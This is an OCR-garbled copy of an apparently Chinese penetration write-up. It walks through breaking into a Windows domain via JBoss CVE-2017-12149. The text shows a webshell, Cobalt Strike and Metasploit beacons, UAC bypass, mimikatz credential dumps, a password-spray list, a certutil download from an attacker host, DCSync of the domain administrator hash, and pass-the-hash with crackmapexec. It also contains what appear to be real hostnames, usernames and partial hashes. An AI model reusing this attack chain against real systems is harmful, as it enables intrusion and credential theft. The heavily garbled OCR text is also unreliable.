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Bioe kT — CVE-2017-12149:

o0 @ CVE-2017-12149 JbossKFFI{t V1.0
B#r: http:/, = 29090/ 1463
cmd: ipconfig /all 2317

Windows IP Configuration

Host Name............: ISERVER2
Primary Dns Suffix .......: gu s
Node Type............:Hybrid
IP Routing Enabled. ... ....:No
WINS Proxy Enabled........:No
DNS Suffix Search List....... s En HE B N 'EENNEN
m m [ |
mhke n n o omm
[
T EE [ Ol |
‘. EmE =m [
EEE oEE

Ethernet adapter Ethernet 2:

Connection-specific DNS Suffix . : [

Description . ..........: : Amazon Elastic Network Adapter

Physical Address. ........: : 0A-9F-02-2C-78-96
DHCPEnabled...........:Yes

Autoconfiguration Enabled . . . . : : Yes

Liwmle laecal IMh.E Addeanr~ s FaON--OAAC - CDrlnirnlan-TEC AN 1 ADeafavend)

FERR, ARG 2 :windows

\
L y
e

3518] http://inbug.org:9090/status £IAE HiG, DEME H1ET webshell:
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« C | 4 T%% | I S090/stats oo & .. 'B T &
Eeso-=: _________________________________________________________________________________________________] B RibEE A
o
VM
Free memeory: B07.71 MB Tatal memory: 1018,12 MB Max memory: 1018.12 MB
http- SS9 090

unt

quest count: 25287 Error count: 232 Bytes received: 0.48 MB Bytes sent: 2263.67 MB

B
s Tim tien VH

tage ®  centmecy SN o5t

- ; . . .

s L

s

r , ?

s vl 1

s wol 1

v N .

s . POST finvoker/readanly HTTR/L.1

r ? , ?

r ? ) ?

s e W finvokerresdonly HTTP1.1

s oe o e 1l ET Amewsd/jeonesd pipps ur i o3443+ --usar+ 490 2wpMWME IEQGCY Fm BestoatvmininciywxzuRBaxzuzaSTERWA
R7 ? 2 ? ?

R ? 2 ?

r ) y ?

R 3 H 2 2

R 7 ? 2 2 2

r ? 2 2

r ? ’ ?

s GET fjenwsd/exwsd. jsp2ppas N | 0%3R443+ [ UylnzzIVDGA VTwX 2URB KK uzBSz Efwvar
B POST finvol

s ET floxws 338443 +--yser+ 49 ZwpMwmE IBEGECY Fdmg VWi zuR Bz uzBST Efwva'
s s 1 ET Flenwsd/iexwsd. jsp2ppp= %3A4434--user+ 490 2WpMUMEIEEQGC ¥ Wi hS 2Bl
R 7 T ,

S 400ms OB OKE GET fstatus HTTR/L.1

R 7 ? ?

IBLAFEAEBIABIE: http://inbug.org:9090/jexws4/jexws4.jsp?ppp=whoami

< C A 1T%%2 | w == #.:9090/jexwsd/jexws4.jsp?ppp=whoami

CEE ) | E || -.II -III- ] -l- --

- —_— -

Failed to check for updates

1BiJ powershell 4%l Cs:

&  Aggresser

.0
Cobalt Strike View Attacks Reporting Help
CE O B¢ i fU Gehn Fda la

external internal listener ar - mputer note process pid arch last
=] 10.226.0.108 hitp-ip iwmin ERVER2 powershell.exe 304 xb4 363ms
(=] 10.226.0.108 htp-ip tadmin ERVER2 powershell.exe 2112 x64 482ms

- 10.226.0.108 hitp-ip ladmin ____ BERVER2 hitp.exe 4260 x5 72ms

Eventiog X | Listeners x | Sites X | Beacon 10.226.0.108@4260 X |

to become interactive

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ 2/17
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W InBugsi=E

BERVER2] ___rtadnin/426@ last: 72zms

RIBNE T T RZITR:

EventLog X | Beacon 10.226.0.108@3340 X Beacon 10.226.0.108@676 X Processes 10.226.0.108@676 X Beacon 10.226.0_1q

[203]: KB4470639

[204]: KB4480054

[205]: KB4480095

[206]: KB4483187

[207]: KB4483450

[208]: KB4486105

[209]: KB4495585

[210]: KB4504418

[211]: KB4506996

[212]: KB4512938

[213]: KB4514361

[214]: KB4515846

[215]: KB4524445

[216]: KB4532940

[217]: KB4533004

[218]: KB4534134

[219]: KB4535680

[220]: KB4537482

[221]: KB4540725

[222]: KB4552933

[223]: KB4562253

[224]: KB4565635

[225]: KB4566425

[226]: KB4569753

[227]: KB4576486

[228]: KB4578013

[229]: KB4578976

[230]: KB4601058

[231]: KB5001403

[232]: KB5004298

Network Card(s): 1 NIC(s) Installed.

[01]: Amazon Elastic Network Adapter
Connection Name: Ethernet 2
DHCP Enabled: Yes
DHCP Server: 10.226.0.65
IP address(es)
[01]: 10.226.0.108
[02]: fe8@::84d8:63ch:cele:7f6e

Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not

'SERVER2] tadmin */676

Metasploit 453X

BE/5IE CS B9 Beacon G1&%) T MSF:

MSF:

exploit/multi/

payload windows/meterpreter/reverse_http
Cs:
BT 22windows/ /reverse_http

HATEITZ: spawn msf

beacon> spawn MSF

[*] Tasked beacon to spawn (x86) windows/foreign/reverse_http (Jl I - :3080)
[+] host called home, sent: 808 bytes

[+] host called home, sent: 29 bytes

\ BSERVER2] m tadmin/4624
beacon>

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ 3/17
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AEENY MSF RAURRBUNFE] T L1 exp -

run post/multi/recon/local_exploit_suggester

meterpreter > run post/multi/recon/local_exploit_suggester

10.226.0.108 - Collecting local exploits for x64/windows. ..
10. .0.108 - 28 exploit checks are being tried...

[ b .0.108 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.

| b .0.108 - exploit/windows/local/bypassuac_sdclt: The target appears to b Lnerable.
. : @ InBugsEIn=E

R IEH RN

exploit/windows/local/bypassuac_sdclt

msfé exploit( ) > run

Started reverse TCP handler on . H M . 5555
UAC is Enabled, checking level...
+] Part of Administrators group! Continuing...
UAC set to DoNotPrompt - using ShellExecute "runas” method instead
Uploading rENXPmm.exe - 7168 bytes to the filesystem...
Executing Command!
Sending stage (Z20@26Z bytes) to .
Meterpreter session 3 opened (@ W i W :63734) ot HE N =] | B

meterpreter > getuid '6 InBugiEﬁE

Server usernome: B “\M kadmin

RUBPShsE, BR2InENE

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wko6vilfsQ
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meterpreter > getprivs

Name

SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeCreateSymboliclLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeLockMemoryPrivilege
SeMachineAccountPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege

SeTimeZonePrivilege
’Q InBugStiez=

Hix getsystem 124{&] SYSTEM:

meterpreter >

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITYNSYSTEM

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wko6vilfsQ
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RGN SYSYEM 3B shell {£%! Cs:
MSF:

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http

set session 3

run

CS:

windows/beacon_http/reverse_http

msf6 exploit( ) > run

Handler failed to bind to ™ m.E EE:3)

Handler failed to bind to 0.0.0.0:80

Running module against == SERVERZ2

Spawned Notepad process 6472

Injecting payload into 6472

Preparing 'windows/meterpreter/reverse_http' for PID 6472

Exploit completed, but no session was created.
msfé exploit( D) > I Rp nBugsieE
[msf] @:ruby*

internal = note
10.226.0.108 http-i tadmin SERVERZ Bid: 1038871362 NT:6.2  http.exe
(1226 0,108 hup-ip SERVER Bid- ARAQE

£.0.108 Bid: A6RIA2676 NI 6 h
10.226.0.108 Bid: 2133998066 NT: 6.3 no Lexe
. A id 14 3 no

beacon> getsystem
[*] Tasked beacon to get SYSTEM
[+] host called home, sent: 2355 bytes

[+] Impersonated NT AUTHORITY\SYSTEM

@ \nBugsLih =

= U BRAA P DAMZR RS 7

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ 6/17
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Bid: 47081238 NT: 6.3 note|
10.226.0.108 http=ip TPSERVER2 Bid: 1460899714 NT:6.3 notepad.exe 6516 x64 258ms

Eventlog X | Listeners X | Sites X | Scripts X | Beacon 10.226.0.108@4624 X | Beacon 10.226.0.108@5040 X | Files 10.226.0.108@4624 X | Downloads X | Beacon 10.226.0.108@6472 X | Beacon 10.226.0.108@6516 X
d

+ Password @ (e,

AMuthentication Id : 8 ; 1205287 (00000000:0012642
session : RemoteInteractive from 2

na
gan Server
i : 3
3 -2 §BB42913-15141

v
[60000803] Prinary
# Username : tadmin
+ Domain iT
* NTLM aSlaf2aS7el 122e2ededctal
5 248f26967e4 c541dcccd74159752003
[00910600) Credentialey
* NTLM : aSlaf2a57 + '22edededcfal
# SHAL : 24BF269) :541dcccd74158752003
tspkg :
wdigest :
# Username : [ftacmin
+ Domain
+ Password
kerberos :

v Username : [Itadni

0 ; 1190274 (00OBO0AN:00122982)
Intel ive from 2 < A
Vi enaer f INBugSLIG=
;: Bid: 1460899714 NT: 6.3 last: 258ms

BESA AT beacon 2 SYSYEM, MHAA 7T AMEE ANNKS hash FEX , B
JEA psexec FJAZRHE administrator RYZRRY 4 :

beacon> jump psexec64 @l SERVER2 http-ip
[+] host called home, sent: 55 bytes
[+] Tasked beacon to run windows/beacon_http/reverse_http (. [IINENEEED:20) on WPSERVER2 via Service Control Manager (’Envlsnz\_nnnms\'g;ﬂohzx;_qg)

nBugsLiv=E

[+] Impersonated ndtadmin

[+] host called home, sent: 291149 bytes
[+] received output

Started service 030b204 on 'PSERVERZ

Cobalt Strike View Attacks Reporting Help
OO EHES¢ aPU 4w sfa Ba
extermal internal ~ listener user computer note process pid arch last

10.226.0.108 http-ip rtadmin * 'SERVERZ Bid: 47081238 NT: 6.3 notepad.exe 2820 xB6 512ms
rtadmin SERVER2 Bid; 1038871382 NT- 6.2 hup.exe 4624 x64 315ms
'SERVER2 Bid: 868982676 NT- 6.2 http.exe 5040 x64 318ms
'SERVER2 Bid: 1460899714 NT. 6.3
Lbd] 24 NI-6

10.226.0.108
10.226.0.108

Event Log X Beacon 10.226.0.108@6680 X Files 10.226.0.108@6680 X | Downloads X Beacon 10.226.0.108@6516 X Beacon 10.226.0.108@2820 X Beacon 10.226.0.108@7040 X

[*] Tasked beacon to become inte:
[+] host called home, sent
beacon> shell whoami
[*] Tasked beacon to run hoami
[#] host called home, sent: 37 bytes
tput:
system

%InBugiHﬁE

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ
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—
'SERVER2] SYSTEM =/7040

A RS 5]

X EAIRLZ— SYSTEM 9 Beacon 2157 | B2 &I B EE IR,
ZERRABERIMIE! REHIEROZE RS A EN:

10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
10.226.
192.168.
192.168.0

192.168.0

[~~~ N~~~ N~~~ N~ I~ R~ O~ T~ R~ O~ R~ R~ i~~~ i~ i~ i~ i~ )

.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
.91:
HE
.156:
.144:
.141:
.187:
.173:
.234:
230:
.23:
.52:
.54:

Z8E P DAAETS) wmi:

-codec gbk

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ

administrator
administrator
administrator
admin pass
root pass
admin

root

root

root

»im tadmin
sam tadmin
user

user

admin

user

ullm admin
user

mim ~ admin
admin admin
administrator
administrator
administrator
administrator
administrator
administrator
administrator
administrator
administrator
administrator
administrator

admin

admin

pass

-PYy

oW "FeRP30pl34
= gmdm!n4
admin

ol EgRJ0p134

"™ Mim!n4
- "myP30pl34

pass
= "™aAdm!n4

I mqP30pl34
Adm!n4
&= PAdm!n4

admin

m = gP30pl34

" "=P30pl34
n = w30pl34

"1 N 4P30pl34
m1 mmmP30pl34
“s = gP30pl34
e P30pl34
m= = yP30pl34
"5 1 yP30pl34
it "F"pP30pl34

-= m_P30pl34
m nBugslie=E

:password@10.
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ins python3 wmiexec. py cmd administrator: M Joee . 4@10.226.0.108

[proxychains] config file found: /etc/proxychains4.conf

[proxychains] preloading /usr/lib/x86_64-1inux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
NN e ] HEE B [ ] || [ .

[proxychains] Strict chain ... . L] :22222 ... 10.226.0.108:445

[*] SMBv3.0 dialect used

[proxychains] Strict chain ... . ® .. 2 . ... 10.276.0.108:135

[proxychains] Strict chain ... ! ). 2227 ... 10.226.90.108:49154

[!] Launching semi-interactive shell - Careful what you execute

[!] Press help for extra shell commands

C:\>whoami

EerverZ\administrator

®p InBugLIeE

C: ‘\_>.“:

Bypass &t AV _E£:%I CobaltStrike

ZEEM 10.226.0.156 B—TIEERHE: tasklist /v

% Unknown Bt L @ 1 H/A
25,888 K Unknown e 9:99:01 N/A

K' Unknown

task 516 ,B52 K Unknown
ctfmon. exe ] i 5,128 K Unknown
explorer.exe

Kok
ShellExperiencebost. exe G 7 K Unknonn

SearchUl.exe ) 7 58,864 K Unknown

Runtim e 7 23,812 K Unknann W tikemari 8:80:081 H/A

RuntimeBr: e 7 »204 K Unknown =L L ?Q I n Bug"@'%‘g
/A

Runtime er. exe 7 ¢ Unknown .k L 3}

AIEREET AV

-~
RifHE RRAR
ccSvcHst.exe '_ J '\'r_;rt:{:«,fr,‘.%'.,'; E

{#H InScan #9 ShliCode #3INEE Mt ¥ — N o3

PR V1.0
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ERBRERT

ShellCode&Fil Q [3 4 &icR]

ERHE

testl f Wi oy ek Hone

SRIELE BN NEFIY exe, 18T certutil TELFEAIRY exe:

certutil.exe -urlcache -split -f http://inbug.org:8@/download/main.exe

C:\windows\temp>certutil.exe -urlcache -split -f http:// H B B »:380/download/main.exe
®xkkk  (nline HkE**

CertUtil: -URLCache command completed successfully.

C:\windows\temp> %InBugiB‘ﬁz'—H

ARiETRIB I

exe fmigRY txt:

certutil -encode main.exe main.txt

C:\Users\wh.?mi\noun10ads>certutil -encode main.exe main.txt
HIAKE = 1293312

% 1778360

CertUtil: -encode #p

C:\Users\whoami\Downloads> %InBugi‘ZE’:ﬁE

RIEBIR ML txt AEBIEHEIET:

certutil.exe -urlcache -split -f http://inbug.org:80/download/main.txt

certutil -decode main.txt main.exe

Bz L#%| Cs:

B dringiREHHER AN v OO T T GHO M O R M HH - Q @ % = wowes [ SEVE M- 1520 =

Cobalt Strike.

Cobalt Strike View Attacks Reporting Help
D00 B¢ G2PU EehBD Fa Ba

external internal = listener user computer note process pid arch last

1 10.226.0.108 http-ip admin * 'SERVER2 notepad.exe 676 %86 459ms

y 10.226.0.108 http=ip SYSTEM * 'SERVERZ rundli3Z.exe 1172 %64 &lms
[«]'§ 10.226.0.108 http-ip tadmin 'SERVER2 http.exe 3340 %64 75ms
m 10.226.0.156 hitp=ip Administrator * SERVERS3 Bid: 5721B748 NT: 6.2 main.exe 26500 %64 140ms.

EventLog X .226. Files 10.226.0.108@1172 Kl Credentials X | Sites )(l Beacon 10.226.0.156@26500 X

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ 10/17



> shell whoami
[*] Tasked beacon to run: whoami

+] host called home, sent: 69 bytes
eived output
r93\aduinistrator

WATIT LT YL N PR E? MR WML T

5t getsystem $EXE!I SYSYEM:

LHEGRMEZNRE

ZEE SRR

beacon> getsystem
[*] Tasked beacon to get SYSTEM

[+] host called home, sent: 2743 bhytes
[+] Impersonated NT AUTHORITY\SYSTEM
beacon> shell whoami
[*] Tasked beacon to run: whoami

[+] host called home, sent: 37 bytes
[+] received output
nt authority\system

e InBugin=

@ InBugLRE

beacon> inject 24104 x64 http-ip

[*] Tasked beacon to inject windows/beacon_http/reverse_http (

[+] host called home, sent: 261648 bytes

Cobalt Strike View Artacks Reporting Help

DE R EHEZ¢ 8 fU GwbE fFa ia

Ml HeOT D QGHOM

Eventlog X | Beacon 10.226.0,108@1172 X | Files 10.226.0,108@1172 X | Sites X | Beacon 10.226.0.156@26500 X | Pracesses 10.226.0.156@26500 X
~|[mo PPID. TName Arch
< [ 4: System ‘| 13056 20292 winlogon.exe 64
[ 120: Registry 13840 13056 fontdrvhost.exe x4
[372: smss.exe 21956 13056 dwm.exe 264
[1500: csrss.exe 6840 760 rdpclip.exe x4
] 576: wininit.exa 5316 2680 sihost.exe XG4
% 720: services.exe 20940 720 swchostexe x64
[ 868: svchost.exe 13908 720 svchost.exe X64
[ 892: swchost.exe 21516 1804 taskhostw.exe x4
[)8816: ShellExperienceHost.exe | [EEEIT] 2716 ctimon.exe *E4
110148, SearchUlexe 24104 10480 explorer.exe x64
[ 8508: RuntimeBroker exe 3288 892 SMmarscreen.exe B
[110272; RuntimeBroker.exe 10988 292 ShellExperienceHost.exe x64
[C110908: RuntimeBroker exe 21160 892 Searchllexe *64
[110964; smartscreen.exe 24036 292 RuntimeBroker.exe x64
[C13476: WmiPrSE exe 22380 892 RuntimeBraker.exe *64
[9472: ShellExperienceostexe | | 14188 292 RuntimeBroker.exe 264
[C]6632: Searchllexs 15948 13056 LogonLlexe XG4
[)8676: RumimeBroker.exe 2204 24132 conhost.exe 264
[C19288: RuntimeBroker exe 15836 24132 emd.exe *64
[11052; RuntimeBroker.exe 16108 24132 cmd.exe 264
[]5736: smartscreen.exe B784 16108 putty.exe x86
12396 dihost.exe 12576 15836 putty.exe %86
[[]5688: ShellExperienceHostexe | | 16000 9960 WinSCP.exe x86
[13332: SearchUlexe 083 9536 notepad.exe x64
[[]7824: RuntimeBroker.exe 17640 9960 devenv.exe *86
[]15208: RuntimeBroker.exe 15008 17640 PerfWatsanZ.exe %86
[]15032: RuntimeBroker exe 23864 17640 DisDebugHost.exe %86
[ISRA0: smartsereen.exe | 4564 17640 DtsDebugHost.exe %86
1 * lligssn 24015 canboct ava xRd

| kit || Refresh Inject || Log Keystrokes || Screenshot || Steal Token | | Help |

7

brrrrwroocO O NSNSy Gy YN

Session User

NT AUTHORITY\SYSTEM
Font Driver Host\UMFD-7
Window Manager\DWM-7

| kumari

i kumari
NT AUTHORITY\SYSTEM
sleadmin
Hleadmin
leadmin
leadmin
leadmin
leadmin
ish.chauhan
leadmin
o leadmin
. i drn

! Teddinn

B W I W0:80) into 24104 (x64)

@@ 'nBugTIHE

internal =
10.226.0.108

external

10.226.0.156

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ

listener

computer
ISERVER2
ISERVERZ
SERVER2
VERS3.
SERVERS3

Administrator *

note

Bid: 1644376144 NT: 10.0 Ex,

Bid: 57218748 NT.6.2

precess pid arch last
notepad.exe 676 86 255ms
rundli32 exe 1172 x64 11ms
hitp.exe 3340 64 43ms
EXE 24104 x64 164ms.
main.exe 26500 64 354ms

11/17



2021/8/20 WATIT LT YL N PR E? MR WML T

Files 10.226.0.108@1172 X | Sites X | Beacon 10.226.0.156@26500 X | Processes 10.226.0.156@26500 X | Beacon 10.226.0.156@24104 X
)

%InBugSEE’@E

fEEEEEIE IP:

beacon> shell net group "Domain Controllers" /domain

[*] Tasked beacon to run: net group "Domain Controllers" /domain
[+] host called home, sent: 69 bytes

[+] received output:

The request will be processed at a domain controller for domain inbug.org.

Group name Domain Controllers
Comment All domain controllers in the domain
Members

xxADCQ1$ 192.168.101.4
xxxxN@24$ 192.168.0.20
xXXGN@O42$ 192.168.0.154
xxxGN@43$ 192.168.0.19
XXXGN@52%  192.168.0.14
xxXGN@53% 192.168.0.31
xXSERVER1$ 10.226.0.150
xXPSERVER116$ 10.225.241.149
XXSERVER400% 192.168.105.5
XXSERVER401$ 192.168.105.6
xXSERVER505% 10.231.1.15
xxSERVER506% 10.232.55.60
xxSERVERGQ0$ 10.227.69.108

xXSERVER813$% 10.225.240.16
The command completed successfully.

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ 12/17
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beacon> shell dir \\192.168.0.20\c$
[*] Tasked beacon to run: dir \\192.168.0.20\c$
[+] host called home, sent: 52 bytes
[+] received output:
Volume in drive \\192.168.0.20\c$ has no label.
Volume Serial Number is 44CF-CCEE

Directory of \\192.168.0.20\c$

04/14/2021 10:15 AM <DIR> ADHealthCheck
03/17/2021 03:57 PM <DIR> Automation
08/17/2021 12:57 PM 30,081,024 CiscoUserAgent.sdf
08/16/2018 05:01 PM 268 copy-screesnsaver-photo - Copy.bat
10/06/2018 03:44 PM 244 copy-screesnsaver-photo.bat
07/25/2018 02:39 PM 1,929 ExtADSch.log
08/15/2018 09:43 PM <DIR> IT
04/14/2021 02:36 PM 409,160 members.csv
08/22/2013 09:22 PM <DIR> PerflLogs
04/02/2021 06:28 PM <DIR> Program Files
03/18/2021 01:21 PM <DIR> Program Files (x86)
03/22/2021 04:36 PM <DIR> scripts
07/14/2019 09:11 PM <DIR> StorageReports
07/12/2019 09:52 PM <DIR> sylinktemp
04/21/2021 03:51 PM <DIR> TEMP
03/09/2020 03:24 PM 24 UserAgentEncryptionBytes.bin
03/04/2021 11:02 AM <DIR> Users
01/17/2021 09:11 PM <DIR> Windows

6 File(s) 30,492,649 bytes

12 Dir(s) 176,200,134,656 bytes free

m?SERVER93] mmm ..kumari/24104 (x64)

beacon>

/G EE desync dump AL ER hash:

lsadump: :dcsync /domain:psnet.com /all /csv

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ
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5000 Z M A hash #Z2I T, aJB#H1 T pth, FEERZE administrator Y

hash, iR AFEE

mimikatz lsadump::dcsync /domain:inbug.org /user:Administrator
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[+] received output

#k SAM ACCOUNT sk

Account expiration g pm

Object Relative ID : 500
Credentials:

ntlm- 0: 4a03985f6:

ntln- 3: 09de6dadeel A
im -

m - 1: 9dbff74eqg em 4
m : ac74714ed SE
m : 496c2260d 2

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *

beacon>

Hash NTLM: 4a03985ftym IB"ﬁl

beacon> mimikatz lsadump::dcsync /domain:pessss s /user:Administrator
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:,
[+] host called home, sent: 750705 bytes

[DbC] "' will be the domain
[DC] WWSERVERL.psnet.com' will be the DC server
[DC] 'Administrator' will be the user account

Object RDN : Administrator

SAM Username : Administrator

User Principal Name : administrator@, sesss =
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )

m .
Password last change : -, _ == = __ 9,
Object Security ID : S-1-5-21-631215692-119761 NW. WA 142913-500

‘0b31f211b
0b31f211b

ntlm- 1: blf6ad4413! M ' H H W:ab38fadbd
ntlm- 2: 01977elf8p. I -‘

10752ab0c6
‘6ledal751

: fbldllea) 1HE NN BE3cdcB8455ac

f215a420a
hf4741138a
a47439d4c

Default Salt : w .. MMAdministrator
¢ wERVER93] y m g kumari/24104 (x64)

HEERIR ntim hash 8 pth TR

proxychains crackmapexec smb 192.168.0.0/24 -u administrator -H 4a03985f63e4dx

xxxxxx -d inbug.org -x "net user"

File Actions Edit View Help

reot@whoami:... 23 /examples 8

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ
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execute-assembly /Users/saulgoodman/Downloads/SharpHound.exe -c all

beacon> execute-assembly /Users/saulgoodman/Downloads/SharpHound.exe -c all

[*]

Tasked beacon to run .NET program: SharpHound.exe -c all

beacon>

[+]
[+]

Unknown command
host called home, sent: 938843 bytes
received output

Initializing SharpHound at 5:37 PM

[+]

received output

Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container

[+]
[+]

[+]
[+]
[+]
[+]
[+]

received output
Creating Schema map for domain ] sing path CN=u_ gma,CN=Configuration,DC=I m

received output
Cache File not Found: @ Objects in cache

received output
Pre-populating Domain Controller SIDS

received output

Status: @ objects finished (+0) -- Using 29 MB RAM

[+]

received output

Status: 1296 objects finished (+1296 43.2)/s -- Using 63 MB RAM

[+]

received output

Status: 3646 objects finished (+2334 60.76667)/s — Using 74 MB RAM

[+]

received output

Status: 5577 objects finished (+1931 59.32979)/s — Using 76 MB RAM

[+]

received output

Status: 5665 objects finished (+88 43.57692)/s — Using 90 MB RAM
I )SERVER2] @ Radmin/5040 (x64)
beacon>

Database Info

4]

e » p

botSocahon TR

il

R

i

Raw Query

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wk6vilfsQ

16/17



2021/8/20 WATIT LT YL N PR E? MR WML T

9FZRIN, 2600 ZAlzas, 5000 2R, HMEIXE,

https://mp.weixin.qq.com/s/DSR6g3UVIQs31Wko6vilfsQ 17/17



